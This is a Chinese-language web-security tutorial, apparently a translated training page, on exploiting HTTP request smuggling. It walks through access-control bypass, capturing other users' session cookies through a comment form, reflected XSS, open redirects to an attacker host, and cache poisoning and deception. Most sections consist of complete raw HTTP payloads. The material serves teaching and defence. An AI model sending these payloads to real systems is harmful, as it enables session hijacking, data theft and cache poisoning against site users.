Exploiting request smuggling

利用 HTTP 请求走私漏洞

在本节中,我们将描述 HTTP 请求走私漏洞的几种利用方法,这也取决于应用程序的预期功能和其他行为。

利用 HTTP 请求走私漏洞绕过前端服务器(转发服务)安全控制

在某些应用程序中,前端服务器(转发服务)不仅用来转发请求,也用来实现了一些安全控制,以决定单个请求能否被转发到后端处理,而后端服务认为接受到的所有请求都已经通过了安全验证。

假设,某个应用程序使用前端服务器(转发服务)来做访问控制,只有当用户被授权访问的请求才会被转发给后端服务器,后端服务器接受的所有请求都无需进一步检查。在这种情况下,可以使用 HTTP 请求走私漏洞绕过访问控制,将请求走私到后端服务器。

假设当前用户可以访问 /home ,但不能访问 /admin 。他们可以使用以下请求走私攻击绕过此限制:

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: x
GET /home HTTP/1.1
Host: vulnerable-website.com

前端服务器(转发服务)将其视为一个请求,然后进行访问验证,由于用户拥有访问 /home 的权限,因此把请求转发给后端服务器。然而,后端服务器则将其视为 /home/admin 两个单独的请求,并且认为请求都通过了权限验证,此时 /admin 的访问控制实际上就被绕过了。

前端服务器(转发服务)对请求重写

在许多应用程序中,请求被转发给后端服务之前会进行一些重写,通常是添加一些额外的请求头之类的。例如,转发请求重写可能:

  • 终止 TLS 连接并添加一些描述使用的协议和密钥之类的头。
  • 添加 X-Forwarded-For 头用来标记用户的 IP 地址。
  • 根据用户的会话令牌确定用户 ID ,并添加用于标识用户的头。
  • 添加一些其他攻击感兴趣的敏感信息。

在某些情况下,如果你走私的请求缺少一些前端服务器(转发服务)添加的头,那么后端服务可能不会正常处理,从而导致走私请求无法达到预期的效果。

通常有一些简单的方法可以准确地得知前端服务器(转发服务)是如何重写请求的。为此,需要执行以下步骤:

  • 找到一个将请求参数的值反映到应用程序响应中的 POST 请求。
  • 随机排列参数,以使反映的参数出现在消息体的最后。
  • 将这个请求走私到后端服务器,然后直接发送一个要显示其重写形式的普通请求。

假设应用程序有个登录的功能,其会反映 email 参数:

1
2
3
4
5
6
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net

响应内容包括:

1
<input id="email" value="wiener@normal-user.net" type="text">

此时,你可以使用以下请求走私攻击来揭示前端服务器(转发服务)对请求的重写:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=
POST /login HTTP/1.1
Host: vulnerable-website.com
...

前端服务器(转发服务)将会重写请求以添加标头,然后后端服务器将处理走私请求,并将第二个请求当作 email 参数的值,且在响应中反映出来:

1
2
3
4
5
6
7
8
9
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

注意:由于最后的请求正在重写,你不知道它需要多长时间结束。走私请求中的 Content-Length 头的值将决定后端服务器处理请求的时间。如果将此值设置得太短,则只会收到部分重写请求;如果设置得太长,后端服务器将会等待超时。当然,解决方案是猜测一个比提交的请求稍大一点的初始值,然后逐渐增大该值以检索更多信息,直到获得感兴趣的所有内容。

一旦了解了转发服务器如何重写请求,就可以对走私的请求进行必要的调整,以确保后端服务器以预期的方式对其进行处理。

捕获其他用户的请求

如果应用程序包含存储和检索文本数据的功能,那么可以使用 HTTP 请求走私去捕获其他用户请求的内容。这些内容可能包括会话令牌(捕获后可以进行会话劫持攻击),或其他用户提交的敏感数据。被攻击的功能通常有评论、电子邮件、个人资料、显示昵称等等。

要进行攻击,您需要走私一个将数据提交到存储功能的请求,其中包含该数据的参数位于请求的最后。后端服务器处理的下一个请求将追加到走私请求后,结果将存储另一个用户的原始请求。

假设某个应用程序通过如下请求提交博客帖子评论,该评论将存储并显示在博客上:

1
2
3
4
5
6
7
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

你可以执行以下请求走私攻击,目的是让后端服务器将下一个用户请求当作评论内容进行存储并展示:

GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

当下一个用户请求被后端服务器处理时,它将被附加到走私的请求后,结果就是用户的请求,包括会话 cookie 和其他敏感信息会被当作评论内容处理:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...

最后,直接通过正常的查看评论的方式就能看到其他用户请求的详细信息了。

注意:这种技术的局限性是,它通常只会捕获一直到走私请求边界符的数据。对于 URL 编码的表单提交,其是 & 字符,这意味着存储的受害用户的请求是直到第一个 & 之间的内容。

使用 HTTP 请求走私进行反射型 XSS 攻击

如果应用程序既存在 HTTP 请求走私漏洞,又存在反射型 XSS 漏洞,那么你可以使用请求走私攻击应用程序的其他用户。这种方法在两个方面优于一般的反射型 XSS 攻击方式:

  • 它不需要与受害用户交互。你不需要给受害用户发送一个钓鱼链接,然后等待他们访问。你只需要走私一个包含 XSS 有效负载的请求,由后端服务器处理的下一个用户的请求就会命中。
  • 它可以在请求的某些部分(如 HTTP 请求头)中利用 XSS 攻击,而这在正常的反射型 XSS 攻击中无法轻易控制。

假设某个应用程序在 User-Agent 头上存在反射型 XSS 漏洞,那么你可以通过如下所示的请求走私利用此漏洞:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

此时,下一个用户的请求将被附加到走私的请求后,且他们将在响应中接收到反射型 XSS 的有效负载。

利用 HTTP 请求走私将站内重定向转换为开放重定向

许多应用程序根据请求的 HOST 头进行站内 URL 的重定向。一个示例是 Apache 和 IIS Web 服务器的默认行为,其中对不带斜杠的目录的请求将重定向到带斜杠的同一个目录:

1
2
3
4
5
GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

通常,此行为被认为是无害的,但是可以在请求走私攻击中利用它来将其他用户重定向到外部域。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

走私请求将会触发一个到攻击者站点的重定向,这将影响到后端服务处理的下一个用户的请求,例如:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
GET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

此时,如果用户请求的是一个在 web 站点导入的 JavaScript 文件,那么攻击者可以通过在响应中返回自己的 JavaScript 来完全控制受害用户。

利用 HTTP 请求走私进行 web cache poisoning

上述攻击的一个变体就是利用 HTTP 请求走私去进行 web cache 投毒。如果前端基础架构中的任何部分使用 cache 缓存,那么可能使用站外重定向响应来破坏缓存。这种攻击的效果将会持续存在,随后对受污染的 URL 发起请求的所有用户都会中招。

在这种变体攻击中,攻击者发送以下内容到前端服务器:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

后端服务器像之前一样进行站外重定向对走私请求进行响应。前端服务器认为是第二个请求的 URL 的响应,然后进行缓存:

1
2
3
4
5
6
7
/static/include.js:

GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

从此刻开始,当其他用户请求此 URL 时,他们都会收到指向攻击者网站的重定向。

利用 HTTP 请求走私进行 web cache poisoning

另一种攻击变体就是利用 HTTP 请求走私去进行 web cache 欺骗。这与 web cache 投毒的方式类似,但目的不同。

web cache poisoning(缓存中毒) 和 web cache deception(缓存欺骗) 有什么区别?

  • 对于 web cache poisoning(缓存中毒),攻击者会使应用程序在缓存中存储一些恶意内容,这些内容将从缓存提供给其他用户。
  • 对于 web cache deception(缓存欺骗),攻击者使应用程序在缓存中存储属于另一个用户的某些敏感内容,然后攻击者从缓存中检索这些内容。

这种攻击中,攻击者发起一个返回用户特定敏感内容的走私请求。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

来自另一个用户的请求被后端服务器被附加到走私请求后,包括会话 cookie 和其他标头。例如:

GET /private/messages HTTP/1.1
Foo: X
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...

后端服务器以正常方式响应此请求。这个请求是用来获取用户的私人消息的,且会在受害用户会话的上下文中被正常处理。前端服务器根据第二个请求中的 URL 即 /static/some-image.png 缓存了此响应:

1
2
3
4
5
6
7
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...

然后,攻击者访问静态 URL,并接收从缓存返回的敏感内容。

这里的一个重要警告是,攻击者不知道敏感内容将会缓存到哪个 URL 地址,因为这个 URL 地址是受害者用户在走私请求生效时恰巧碰到的。攻击者可能需要获取大量静态 URL 来发现捕获的内容。